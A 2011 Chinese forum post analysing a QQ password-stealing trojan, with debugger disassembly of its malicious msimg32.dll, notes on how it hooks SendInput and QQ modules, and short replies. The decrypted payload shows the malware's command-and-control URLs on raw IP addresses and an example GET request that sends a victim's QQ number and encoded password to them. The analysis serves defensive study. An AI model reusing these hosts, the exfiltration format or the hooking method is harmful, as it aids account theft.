-
-
[原创]最新QQ盗号木马分析,内含增肥术
-
发表于: 2011-6-14 00:44
-
拿到这个样本时,他的名字叫"29.exe",拿起PEID查之,UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo [Overlay],是个压缩壳,然后在看下他有没有附加数据,用Stud_PE查之,如果有,看来是木马生成器生成的!
OK.OD载入,ESP定律,迅速到达OEP!
00402310 6A 00 push 0 00402312 FF15 18204000 call near dword ptr ds:[402018] ; kernel32.GetModuleHandleA 00402318 A3 A4364000 mov dword ptr ds:[4036A4], eax ; 29.00400000 0040231D FF15 14204000 call near dword ptr ds:[402014] ; kernel32.GetCommandLineA 00402323 6A 0A push 0A 00402325 A3 A0364000 mov dword ptr ds:[4036A0], eax ; 29.00400000 0040232A 50 push eax ; 29.00400000 0040232B A1 A4364000 mov eax, dword ptr ds:[4036A4] 00402330 6A 00 push 0 00402332 50 push eax ; 29.00400000 00402333 E8 58000000 call 00402390
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
在写此文之前我已经分析过了,要说明的是该DLL我们不能用OD单独分析,否则你不知道他干了什么,因为他只有被QQ.EXE载入他才会有所行为,所以我们要调试QQ才行,在此之前我们要修改一下msimg32.dll的入口,因为我们用OD载入QQ时,其DLL文件都被载入了,我们只需要在msimg32.dll入口修改成int3,然后设置取消OD对INT3的断点忽略:
 不然载入时会悲剧的出现应用程序初始化失败的信息框提示:  设置好后,重新载入就会断在msimg32.dll入口上面了,把修改的字节改过来,重新设置EIP,开始分析.  因为之前分析过了,为了节约时间,大家先直接用BP CreateThread 下断,因为他的主体部分是从线程开始! 0012F85C 6300198D /CALL 到 CreateThread 来自 MSIMG32.6300198B 0012F860 00000000 |pSecurity = NULL 0012F864 00000000 |StackSize = 0 0012F868 63002D50 |ThreadFunction = MSIMG32.63002D50 转到这里,下断 0012F86C 00000000 |pThreadParm = NULL 0012F870 00000000 |CreationFlags = 0 0012F874 00000000 \pThreadId = NULL 然后到达这里: 63002D50 83EC 10 sub esp, 10 63002D53 56 push esi ; kernel32.GetModuleHandleA 63002D54 57 push edi ; kernel32.Sleep 63002D55 E8 663A0000 call 630067C0 ; 里面有三个CALL,分别把用到的3个库中的API载入 63002D5A 8B35 18100063 mov esi, dword ptr ds:[63001018] ; kernel32.GetModuleHandleA 63002D60 B0 64 mov al, 64 63002D62 884424 13 mov byte ptr ss:[esp+13], al 63002D66 884424 0F mov byte ptr ss:[esp+F], al 63002D6A 8D4424 08 lea eax, dword ptr ss:[esp+8] 63002D6E B2 61 mov dl, 61 63002D70 B1 74 mov cl, 74 63002D72 50 push eax 63002D73 C705 70810063 1>mov dword ptr ds:[63008170], 12 63002D7D C64424 0E 53 mov byte ptr ss:[esp+E], 53 63002D82 885424 0F mov byte ptr ss:[esp+F], dl 63002D86 C64424 10 66 mov byte ptr ss:[esp+10], 66 63002D8B 884C24 15 mov byte ptr ss:[esp+15], cl 63002D8F C64424 16 2E mov byte ptr ss:[esp+16], 2E 63002D94 C64424 11 65 mov byte ptr ss:[esp+11], 65 63002D99 C64424 12 45 mov byte ptr ss:[esp+12], 45 63002D9E C64424 0C 54 mov byte ptr ss:[esp+C], 54 63002DA3 C64424 0D 53 mov byte ptr ss:[esp+D], 53 63002DA8 C64424 14 69 mov byte ptr ss:[esp+14], 69 63002DAD 885424 18 mov byte ptr ss:[esp+18], dl 63002DB1 884C24 19 mov byte ptr ss:[esp+19], cl 63002DB5 C64424 1A 00 mov byte ptr ss:[esp+1A], 0 63002DBA FFD6 call near esi ; 判断TSSafeEdit.dat是否已经被载入 63002DBC 8B3D 20100063 mov edi, dword ptr ds:[63001020] ; kernel32.Sleep 63002DC2 85C0 test eax, eax 63002DC4 75 12 jnz short 63002DD8 ; 如果还没有载入,就等待载入 63002DC6 68 F4010000 push 1F4 63002DCB FFD7 call near edi ; kernel32.Sleep 63002DCD 8D4C24 08 lea ecx, dword ptr ss:[esp+8] 63002DD1 51 push ecx 63002DD2 FFD6 call near esi ; kernel32.GetModuleHandleA 63002DD4 85C0 test eax, eax 63002DD6 ^ 74 EE je short 63002DC6 ; 直到TSSafeEdit被载入才执行下面的代码 63002DD8 E8 33ECFFFF call 63001A10 ; 内含VM,还没能力分析,是对TSSafeEdit的一些猥琐操作 63002DDD E8 3EEAFFFF call 63001820 ; 挂钩 SendInput[COLOR="Red"],手法挺妙的[/COLOR]  63002DE2 E8 F9EEFFFF call 63001CE0 ; 判断LoginCtrl.dll是否被载入,我当前是没有载入的情况,直接跳出 63002DE7 85C0 test eax, eax 63002DE9 75 0F jnz short 63002DFA ; MSIMG32.63002DFA 63002DEB C705 B8870063 0>mov dword ptr ds:[630087B8], 1 ; 记录"LoginCtrl.dll"没有载入 63002DF5 E8 56F7FFFF call 63002550 ; 对"KernelUtil.dll"部分地址进行挂钩,有VM,压力很大,无力分析 63002DFA E8 61000000 call 63002E60 ; 解密29.exe覆盖进的附加数据,解密算法很高级,[COLOR="Red"]求此算法名称[/COLOR]~ 0050F738 68 74 74 70 73 3A 2F 2F 31 32 31 2E 32 30 35 2E https://121.205. 0050F748 38 39 2E 32 31 31 3A 38 30 38 30 2F 64 64 2F 68 89.211:8080/dd/h 0050F758 6F 68 6F 2E 61 73 70 00 00 00 00 00 00 00 00 00 oho.asp......... 0050F768 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F778 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F788 00 00 00 00 00 00 00 00 00 00 68 74 74 70 3A 2F ..........http:/ 0050F798 2F 32 32 32 2E 32 31 31 2E 36 34 2E 32 31 36 3A /222.211.64.216: 0050F7A8 38 37 2F 64 64 2F 61 73 70 78 2E 61 73 70 00 00 87/dd/aspx.asp.. 0050F7B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F7C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F7D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F7E8 00 00 00 00 68 74 74 70 73 3A 2F 2F 35 39 2E 36 ....https://59.6 0050F7F8 30 2E 32 31 2E 31 35 39 3A 34 30 30 30 2F 64 64 0.21.159:4000/dd 0050F808 2F 67 6F 2E 61 73 70 00 00 00 00 00 00 00 00 00 /go.asp......... 0050F818 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F828 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F838 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F848 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F858 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F868 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F878 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F888 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F898 00 00 00 00 00 00 00 00 68 74 74 70 3A 2F 2F 00 ........http://. 0050F8A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F8B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F8C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F8D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050F8E8 00 00 00 00 00 00 00 00 64 64 00 00 00 00 00 00 ........dd...... 0050F8F8 00 00 73 64 66 73 00 00 00 00 00 00 00 00 00 00 ..sdfs.......... 0050F908 00 00 00 00 00 00 00 00 DE 00 3C 00 00 10 00 00 ........?<.... 0050F918 78 01 50 00 78 01 50 00 00 00 00 00 00 00 00 00 xP.xP......... 0050F928 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ https://121.205.89.211:8080/dd/hoho.asp http://222.211.64.216:87/dd/aspx.asp https://59.60.21.159:4000/dd/go.asp http:// dd sdfs 然后等登录成功后就会发送到目标地址 如: GET dd/aspx.asp?Uid=1661129844&Upa=6161616138383838&B=0&D=0>=0&ll=ff&Fs=293FF4FE |
|
|
|
|
|
|
|
|
已加入msimg32.dll 分析
分析的很烂,凑合着看吧  欢迎大家来做补充 
|
|
|
分析的很妙。
 提到xuetr了，就应该用一下xuetr最猛最爽的一个功能啊应用层钩子->进程钩子->[952]QQ.exe->检测。这下爽到爆了吧!哈哈 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 我主要看看我的杀软报不报
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
我来膜拜楼主
|
|
|
过来学习~~
|
|
|
|
